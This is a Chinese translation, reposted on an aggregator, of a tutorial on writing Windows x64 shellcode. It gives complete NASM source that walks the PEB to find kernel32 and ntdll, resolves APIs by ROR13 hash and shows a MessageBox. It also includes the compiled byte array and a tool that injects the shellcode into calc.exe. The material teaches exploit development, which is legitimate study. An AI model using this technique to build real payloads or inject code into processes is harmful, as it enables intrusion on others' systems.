Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】Windows x64 shellcode编写指南

0
0
【技术分享】windows x64 shellcode编写指南

2017-05-26 17:08:11

阅读:613次
点赞(0)
收藏
来源: tophertimzen.com





【技术分享】Windows x64 shellcode编写指南

作者:xgxgxggx





【技术分享】Windows x64 shellcode编写指南

翻译:xgxgxggx

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言
最近我重写了几个shellcode,将之前32位平台下实现的shellcode移植到64位平台。在向64位平台移植过程,我发现很难在网上找到相关资料,因此我将我的移植过程写成一篇博客(我的第一篇),希望能帮到像我一样需要移植64位shellcode的人。

网上已经有几篇教程介绍关于shellcode的相关基础知识了,因此我不会介绍这些。虽然我会介绍关于调用约定、register clobbering和寄存器相关知识,但是我不会讨论很多汇编基础知识。

请参考Skape的Understanding Windows Shell code等文章,或者资源project-shellcode进行深入学习(Understanding Windows Shell code原始链接失效,这里替换了,原始链接为http://repo.hackerzvoice.net/depot_madchat/windoz/vulns/win32-shellcode.pdf)。

我将介绍32位汇编与64位汇编的差异,以及如何利用Windows系统中的结构体用于开发64位shellcode。我还将介绍我开发的2种漏洞利用辅助开发工具。

在开始之前需要说明的是我仍然在学习漏洞利用开发的初级阶段,为简单化,本文实验的系统为Window 7 x64版本。为简化叙述,x86指Win32平台,x64指Win64平台。


寄存器(Registers)

x86

x86处理器中有8个32位的通用寄存器

- eax-累加器

- ecx-计数寄存器

- edx-数据寄存器

- ebx-基地址寄存器

- esp-堆栈指针

- ebp-基址指针

- esi-源索引寄存器

- edi-目标索引寄存器

- eip-指令寄存器

由于向后兼容原因,其中4个寄存器(eax,ebx,ecx,edx)可以拆分16位和8位寄存器

- AX-EAX的低16位

- AH-AX的高8位

- AL-AX的低8位

- BX-EBX的低16位

- BH-EBX的高8位

- BL-EBX的低8位

ECX和EDX也使用字母(C,D)和后缀(X,H或L)表示16位和8位寄存器。

x64

64位处理器使用前缀“R”扩展上述8个寄存器,RAX,RCX,RDX等。需要注意的是x86平台下的寄存器表示方式仍然可用(eax,ax,al等)。

还引入了8个新的寄存器,r8、r9、r10、r11、r12、r13、r14和r15。这些寄存器也可以分为32位、16位和8位的版本。

- r#=64位

- r#d=低32位

- r#w=低16位

- r#b=8位

不幸的是,这些新的8位扩展寄存器不能够使用像eax中的低16位的高8位


Clobber寄存器(Clobber Registers)

Clobber寄存器是一些可能在函数(如Windows API)中被覆盖修改的寄存器。在汇编代码中不应该使用这些寄存器,容易引发程序不稳定,但是如果明确知道在api函数中那些寄存器会别修改还是可以使用这些寄存器的。

在Win32 API中,EAX、ECX和EDX都是Clobber寄存器,在Win64 API中,除了RBP、RBX、RDI、RSI、R12、R13、R14和R15,其他的寄存器都是Clobber寄存器。
RAX和EAX分别用于x64和x86函数的返回值。

调用约定(Calling Convention)

x86

Win32 API一般使用__stdcall调用约定,从右到左向堆栈上传递参数。

如调用函数有两个参数int x和int y的函数foo

foo(intx,inty)

在堆栈上传递为

pushy
pushx

x64

Win64平台下函数调用约定不同,但与Win32平台下的__fastcall相似,均使用寄存器传参,前四个参数分别使用RCX、RDX、R8和R9传递,其他多余的参数使用堆栈传递。需要注意的是,使用寄存器传参时从右到左传递参数。

如对Windows函数MessageBox的调用声明如下:

int WINAPI MessageBox(
_In_opt_ HWND hWnd,
_In_opt_ LPCTSTR lpText,
_In_opt_ LPCTSTR lpCaption,
_In_ UINT uType
);

在Win64调用预定下,参数为:

r9 = uType
r8 = lpCaption
rdx = lpText
rcx = hWnd

Shellcode

让我们开始吧,现在Win64下的Shellcode与Win32的关键区别我们已经知道了,开始我们的文章吧。

为显示运行Win64 shellcode,我将编写代码弹出MessageBox对话框。当shellcode最终完成后,我将使用我编写的工具将shellcode代码注入到calc进程中,验证shellcode能够在另一个进程中运行。


注释

我将使用NASM编译汇编代码,使用Jeremy Gordon编写的golink链接程序。使用你最喜欢的文本编辑器编辑汇编代码,我使用Windows平台下的Notepad++,然后开始编写代码。


开始

1).声明NASM指令

bits64 section.text globalstart

2).设置堆栈

start: subrsp,28h;reservestackspaceforcalledfunctions andrsp,0fffffffffffffff0h;makesurestack16-bytealigned

3).得到Kernel32的基地址

Win64与Win32平台的PEB结构位置是不同的,在Win32中,PEB为[fs:30h]指向的地址,而在Win64为[gs:60h]

虽然PEB结构发生了巨大变化,但是我们只关心LDR链表(PEB_LDR_DATA)所在的未知,在Windbg中使用”!peb”命令可以得到LDR所在的位置。

在Windbg输出的PEB结构中,Ldr.InMemoryOrderModuleList中包含Kernel32.dll,在链表第三个未知,此列表显示了进程中各个内存模块(PE文件,可执行文件和dll文件)在内存中所在的位置。

Ldr.InMemoryOrderModuleList:00000000002b3150.00000000002b87d0 BaseTimeStampModule ff6000004a5bc9d4Jul1316:57:082009C:\Windows\System32\calc.exe 77b900004ce7c8f9Nov2005:11:212010C:\Windows\SYSTEM32\ntdll.dll 779700004ce7c78bNov2005:05:152010C:\Windows\system32\kernel32.dll

通过在Windbg中使用dt命令填充PEB结构,确定Ldr链表所在的位置。

0:000>dt_PEB000007fffffd4000 ntdll!_PEB +0x000InheritedAddressSpace:0'' +0x001ReadImageFileExecOptions:0'' +0x002BeingDebugged:0x1'' +0x003BitField:0x8'' +0x003ImageUsesLargePages:0y0 +0x003IsProtectedProcess:0y0 +0x003IsLegacyProcess:0y0 +0x003IsImageDynamicallyRelocated:0y1 +0x003SkipPatchingUser32Forwarders:0y0 +0x003SpareBits:0y000 +0x008Mutant:0xffffffff`ffffffffVoid +0x010ImageBaseAddress:0x00000000`ff600000Void +0x018Ldr:0x00000000`77cc2640_PEB_LDR_DATA

Ldr链表位于PEB的0x18位置

现在,我们还需要做一下步骤:

- 通过在PEB偏移0x18处获得Ldr链表,获得Ldr链表后,访问位于Ldr结构偏移0x20处的InMemoryOrderModuleList,如下输出

0:000>dt_PEB_LDR_DATA77cc2640 ntdll!_PEB_LDR_DATA +0x000Length:0x58 +0x004Initialized:0x1'' +0x008SsHandle:(null) +0x010InLoadOrderModuleList:_LIST_ENTRY[0x00000000`002b3140-0x00000000`002b87c0] +0x020InMemoryOrderModuleList:_LIST_ENTRY[0x00000000`002b3150-0x00000000`002b87d0] +0x030InInitializationOrderModuleList:_LIST_ENTRY[0x00000000`002b3270-0x00000000`002b87e0] +0x040EntryInProgress:(null) +0x048ShutdownInProgress:0'' +0x050ShutdownThreadId:(null)

- 偏移0x20处为InMemoryOrderModuleList,由InMemoryOrderModule列表的输出的图中可以看出,Kernel32.dll是第3个内存模块。在_LIST_ENTRY结构包含向前和向后的指针,所有_LIST_ENTRY组成一个循环链表,通过这个链表可以找到Kernel32的基地址。

0:000>dt_LIST_ENTRY ntdll!_LIST_ENTRY +0x000Flink:Ptr64_LIST_ENTRY +0x008Blink:Ptr64_LIST_ENTRY

在Windbg中,使用!list可以遍历遍历_LIST_ENTRY结构组成的链表。!lis -x可以用于为每个位置的元素指定一个命令。我们用它去解析_PEB_LDR_DATA结构中的0x20偏移量,并通过_LIST_ENTRY元素进行解析。

将列出所有InMemoryOrderModule链表并显示相关的_LDR_DATA_TABLE_ENTRY

0:000>dt_LDR_DATA_TABLE_ENTRY ntdll!_LDR_DATA_TABLE_ENTRY +0x000InLoadOrderLinks:_LIST_ENTRY +0x010InMemoryOrderLinks:_LIST_ENTRY +0x020InInitializationOrderLinks:_LIST_ENTRY +0x030DllBase:Ptr64Void +0x038EntryPoint:Ptr64Void +0x040SizeOfImage:Uint4B +0x048FullDllName:_UNICODE_STRING +0x058BaseDllName:_UNICODE_STRING +0x068Flags:Uint4B +0x06cLoadCount:Uint2B +0x06eTlsIndex:Uint2B +0x070HashLinks:_LIST_ENTRY +0x070SectionPointer:Ptr64Void +0x078CheckSum:Uint4B +0x080TimeDateStamp:Uint4B +0x080LoadedImports:Ptr64Void +0x088EntryPointActivationContext:Ptr64_ACTIVATION_CONTEXT +0x090PatchInformation:Ptr64Void +0x098ForwarderLinks:_LIST_ENTRY +0x0a8ServiceTagLinks:_LIST_ENTRY +0x0b8StaticLinks:_LIST_ENTRY +0x0c8ContextInformation:Ptr64Void +0x0d0OriginalBase:Uint8B +0x0d8LoadTime:_LARGE_INTEGER

在_LDR_DATA_TABLE_ENTRY结构中,InLoadOrderLinks指向下一个模块结构,DllBase是模块的基地址,FullDllName是它模块名称的Unicode字符串。

因为我们知道kenel32.dll是第三个模块

0:000>!list-tntdll!_LIST_ENTRY.Flink-x"dt_LDR_DATA_TABLE_ENTRY@$extret"002b3270 ---CUT ntdll!_LDR_DATA_TABLE_ENTRY +0x000InLoadOrderLinks:_LIST_ENTRY[0x00000000`002b3830-0x00000000`002b3260] +0x010InMemoryOrderLinks:_LIST_ENTRY[0x00000000`002b4980-0x00000000`002b3840] +0x020InInitializationOrderLinks:_LIST_ENTRY[0x00000000`77970000-0x00000000`77985ea0] +0x030DllBase:0xbaadf00d`0011f000Void +0x038EntryPoint:0x00000000`00420040Void +0x040SizeOfImage:0x2b35c0 +0x048FullDllName:_UNICODE_STRING"kernel32.dll" +0x058BaseDllName:_UNICODE_STRING"矌" +0x068Flags:0x77ccaa40 +0x06cLoadCount:0 +0x06eTlsIndex:0 +0x070HashLinks:_LIST_ENTRY[0xbaadf00d`4ce7c78b-0x00000000`00000000] +0x070SectionPointer:0xbaadf00d`4ce7c78bVoid +0x078CheckSum:0 +0x080TimeDateStamp:0 +0x080LoadedImports:(null) +0x088EntryPointActivationContext:0x00000000`002b4d20_ACTIVATION_CONTEXT +0x090PatchInformation:0x00000000`002b4d20Void +0x098ForwarderLinks:_LIST_ENTRY[0x00000000`002b36e8-0x00000000`002b36e8] +0x0a8ServiceTagLinks:_LIST_ENTRY[0x00000000`002b3980-0x00000000`002b3750] +0x0b8StaticLinks:_LIST_ENTRY[0x00000000`77c95124-0x00000000`78d20000] +0x0c8ContextInformation:0x01d00f7c`80e29f8eVoid +0x0d0OriginalBase:0xabababab`abababab +0x0d8LoadTime:_LARGE_INTEGER0xabababab`abababab ---CUT

现在知道加载的模块基地址在_LDR_DATA_TABLE_ENTRY的0x30偏移处。

a.通过访问[gs:60h]找到PEB

b.通过在PEB中偏移0x18进入LDR链表。

c.偏移0x20是InMemoryOrderModuleList。

d.InMemoryOrderModuleList中的第3个元素是Kernel32,0x30th offset是模块的基地址。

e.我们要调用ExitProcess,这实际上是来自ntdll.dll的RtlExitUserProcess。Ntdll.dll是InMemoryOrderModuleList中的第二个条目,我也将获取它的基地址并将其存储在r15中供以后使用。我发现这个方法比依靠Kernel32在ntdll中正确执行一个函数更容易和更可靠


【技术分享】Windows x64 shellcode编写指南

从dependency walker中可以看出ExitProcess指向Ntdll.RtlExitUserProcess。


开始编写汇编代码

movr12,[gs:60h];peb movr12,[r12+0x18];Peb-->LDR movr12,[r12+0x20];Peb.Ldr.InMemoryOrderModuleList movr12,[r12];2stentry movr15,[r12+0x20];ntdll.dllbaseaddress! movr12,[r12];3ndentry movr12,[r12+0x20];kernel32.dllbaseaddress!Wego20bytesinhereaswearealready10bytesintothe_LDR_DATA_TABLE_ENTRYfromtheInMemoryOrderModuleList

这里将Kernel32的地址放入r12寄存器(r12寄存器不是Clobber寄存器),在shellcode执行期间需要已知保留Kernel32的地址。现在找到了kernel32模块的地址,可以通过kernel32加载其他模块和获取其他函数的地址。

HMODULEWINAPILoadLibrary( _In_LPCTSTRlpFileName ); LoadLibraryA用于将其他dll模块加载到当前进程,因为shellcode需要与地址无关,不能依赖任何已经在目标进程中的dll。在本例中需要加载user32.dll。
为了使用LoadLibraryA函数,它必须在kernel32.dll中找它的地址,这就需要GetProcAddress函数了。 FARPROCWINAPIGetProcAddress( _In_HMODULEhModule, _In_LPCSTRlpProcName );

GetProcAddress需要两个参数,需要获得的函数模块句柄以及函数名。

;findaddressofloadLibraryAfromkernel32.dllwhichwasfoundabove. movrdx,0xec0e4e8e;lpProcName(loadLibraryAhashfromror13) movrcx,r12;hModule callGetProcessAddress

一旦我们知道LoadLibraryA的地址,我们可以使用它来加载user32.dll。

“0xec0e4e8e”为函数名称的hash,将该hash赋值给rdx作为函数名参数。

0xec0e4e8e是LoadLibraryA的每个字母ROR 0x13相加所得的总和。这在Shellcode中是常见的,在MetaSploit等项目使用。我写了一个简单的C程序来用来计算这些hash。

#./rot13.exeLoadLibraryA LoadLibraryA ROR13ofLoadLibraryAis:0xec0e4e8e

现在加载user32.dll

;importuser32 learcx,[user32_dll] callrax;loaduser32.dll user_32dll:db'user32.dll',0

现在可以获得MessageBox函数的地址了

movrdx,0xbc4da2a8;hashforMessageBoxAfromrot13 movrcx,rax callGetProcessAddress

然后执行MessageBox

;messageBox xorr9,r9;uType lear8,[title_str];lpCaptopn leardx,[hello_str];lpText xorrcx,rcx;hWnd callrax;displaymessagebox title_str:db'0xdeadbeef',0 hello_str:db'Thisisfun!',0

最后使用ExitProcess函数结束进程

VOIDWINAPIExitProcess( _In_UINTuExitCode );

需要注意的是ExitProcess是kernel32所导出的函数,但是这里使用RtlExitUserProcess。

;ExitProcess movrdx,0x2d3fcd70 movrcx,r15;baseaddressofntdll callGetProcessAddress xorrcx,rcx;uExitCode callrax

完整的shellcode与GetProcess函数实现如下:

这里使用call/pop指令实现”lea”指令

bits64 section.text globalstart start: ;getdllbaseaddresses subrsp,28h;reservestackspaceforcalledfunctions andrsp,0fffffffffffffff0h;makesurestack16-bytealigned movr12,[gs:60h];peb movr12,[r12+0x18];Peb-->LDR movr12,[r12+0x20];Peb.Ldr.InMemoryOrderModuleList movr12,[r12];2stentry movr15,[r12+0x20];ntdll.dllbaseaddress! movr12,[r12];3ndentry movr12,[r12+0x20];kernel32.dllbaseaddress! ;findaddressofloadLibraryAfromkernel32.dllwhichwasfoundabove. movrdx,0xec0e4e8e movrcx,r12 callGetProcessAddress ;importuser32 jmpgetUser32 returnGetUser32: poprcx callrax;loaduser32.dll ;getmessageBoxaddress movrdx,0xbc4da2a8 movrcx,rax callGetProcessAddress movrbx,rax ;messageBox xorr9,r9;uType jmpgetText returnGetText: popr8;lpCaption jmpgetTitle returnGetTitle: poprdx;lpTitle xorrcx,rcx;hWnd callrbx;displaymessagebox ;ExitProcess movrdx,0x2d3fcd70 movrcx,r15 callGetProcessAddress xorrcx,rcx;uExitCode callrax ;getstrings getUser32: callreturnGetUser32 db'user32.dll' db0x00 getTitle: callreturnGetTitle db'Thisisfun!' db0x00 getText: callreturnGetText db'0xdeadbeef' db0x00 ;Hashingsectiontoresolveafunctionaddress GetProcessAddress: movr13,rcx;baseaddressofdllloaded moveax,[r13d+0x3c];skipDOSheaderandgotoPEheader movr14d,[r13d+eax+0x88];0x88offsetfromthePEheaderistheexporttable. addr14d,r13d;maketheexporttableanabsolutebaseaddressandputitinr14d. movr10d,[r14d+0x18];gointotheexporttableandgetthenumberOfNames movebx,[r14d+0x20];gettheAddressOfNamesoffset. addebx,r13d;AddressofNamesbase. find_function_loop: jecxzfind_function_finished;ifecxiszero,quit:(nothingfound. decr10d;decECXbyonefortheloopuntilamatch/nonearefound movesi,[ebx+r10d*4];getanametoplaywithfromtheexporttable. addesi,r13d;esiisnowthecurrentnametosearchon. find_hashes: xoredi,edi xoreax,eax cld continue_hashing: lodsb;getintoalfromesi testal,al;istheendofstringresarched? jzcompute_hash_finished rordwordedi,0xd;ROR13forhashcalculation! addedi,eax jmpcontinue_hashing compute_hash_finished: cmpedi,edx;edxhasthefunctionhash jnzfind_function_loop;didn'tmatch,keeptrying! movebx,[r14d+0x24];puttheaddressoftheordinaltableandputitinebx. addebx,r13d;absoluteaddress xorecx,ecx;ensureecxis0'd. movcx,[ebx+2*r10d];ordinal=2bytes.Getthecurrentordinalandputitincx.ECXwasourcounterforwhich#wewerein. movebx,[r14d+0x1c];extracttheaddresstableoffset addebx,r13d;putabsoluteaddressinEBX. moveax,[ebx+4*ecx];relativeaddress addeax,r13d find_function_finished: ret

有关GetProcAddress函数的magic请参考Skape的教程。

现在我们编译链接我们的shellcode,然后测试是否可以执行

nasm-fwin64messageBox64bit.asm-omessageBox64bit.obj golink/consolemessageBox64bit.obj ./messageBox64bit.exe
【技术分享】Windows x64 shellcode编写指南

通过这种方式编译出来的shellcode是一个PE可执行文件,这里在将他编译成一个纯shellcode文件。

nasm-fbinmessageBox64bit.asm-omessageBox64bit.sc xxd-imessageBox64bit.sc xxd-imessageBox64bit.sc unsignedcharmessageBox64bit_sc[]={ 0x48,0x83,0xec,0x28,0x48,0x83,0xe4,0xf0,0x65,0x4c,0x8b,0x24, 0x25,0x60,0x00,0x00,0x00,0x4d,0x8b,0x64,0x24,0x18,0x4d,0x8b, 0x64,0x24,0x20,0x4d,0x8b,0x24,0x24,0x4d,0x8b,0x7c,0x24,0x20, 0x4d,0x8b,0x24,0x24,0x4d,0x8b,0x64,0x24,0x20,0xba,0x8e,0x4e, 0x0e,0xec,0x4c,0x89,0xe1,0xe8,0x68,0x00,0x00,0x00,0xeb,0x34, 0x59,0xff,0xd0,0xba,0xa8,0xa2,0x4d,0xbc,0x48,0x89,0xc1,0xe8, 0x56,0x00,0x00,0x00,0x48,0x89,0xc3,0x4d,0x31,0xc9,0xeb,0x2c, 0x41,0x58,0xeb,0x3a,0x5a,0x48,0x31,0xc9,0xff,0xd3,0xba,0x70, 0xcd,0x3f,0x2d,0x4c,0x89,0xf9,0xe8,0x37,0x00,0x00,0x00,0x48, 0x31,0xc9,0xff,0xd0,0xe8,0xc7,0xff,0xff,0xff,0x75,0x73,0x65, 0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00,0xe8,0xcf,0xff,0xff, 0xff,0x54,0x68,0x69,0x73,0x20,0x69,0x73,0x20,0x66,0x75,0x6e, 0x21,0x00,0xe8,0xc1,0xff,0xff,0xff,0x30,0x78,0x64,0x65,0x61, 0x64,0x62,0x65,0x65,0x66,0x00,0x49,0x89,0xcd,0x67,0x41,0x8b, 0x45,0x3c,0x67,0x45,0x8b,0xb4,0x05,0x88,0x00,0x00,0x00,0x45, 0x01,0xee,0x67,0x45,0x8b,0x56,0x18,0x67,0x41,0x8b,0x5e,0x20, 0x44,0x01,0xeb,0x67,0xe3,0x3f,0x41,0xff,0xca,0x67,0x42,0x8b, 0x34,0x93,0x44,0x01,0xee,0x31,0xff,0x31,0xc0,0xfc,0xac,0x84, 0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x39,0xd7, 0x75,0xdd,0x67,0x41,0x8b,0x5e,0x24,0x44,0x01,0xeb,0x31,0xc9, 0x66,0x67,0x42,0x8b,0x0c,0x53,0x67,0x41,0x8b,0x5e,0x1c,0x44, 0x01,0xeb,0x67,0x8b,0x04,0x8b,0x44,0x01,0xe8,0xc3 }; unsignedintmessageBox64bit_sc_len=258;

shellcode以16进制字符返回,然后通过我编写的另一个小程序在calc进程中执行该shellcode。需要说明的是这个小程序现在仅仅还是一个测试版,编写这个小程序的目的主要是为了测试另一个开源反汇编项目BeaEngine


【技术分享】Windows x64 shellcode编写指南

启动这个小程序,将16进制数据拷贝到左边文本框中,选择64位版本,点击Fire Shellcode后,汇编代码将出现在右侧文本框中。实现汇编功能主要为了让这个小程序功能更加完整,通过这个功能也可以反编译一些不知道功能的shellcode。

点击fire后,小程序将运行calc并注入一个线程执行shellcode。


【技术分享】Windows x64 shellcode编写指南

成功!


后记

我希望这篇文章有助于帮助开发Win64 Shellcode,我刚开始写我在研究中学到的东西,希望以后能够继续坚持写。可以在这里下载我使用的一些程序,我将它压缩并放到这里:资源。

更新2015年3月18日:我开源的我开发的shellcode Tester,将它放在github:shellcodeTester。

写于2014年12月4日



【技术分享】Windows x64 shellcode编写指南
【技术分享】Windows x64 shellcode编写指南
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.tophertimzen.com/blog/windowsx64Shellcode/

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images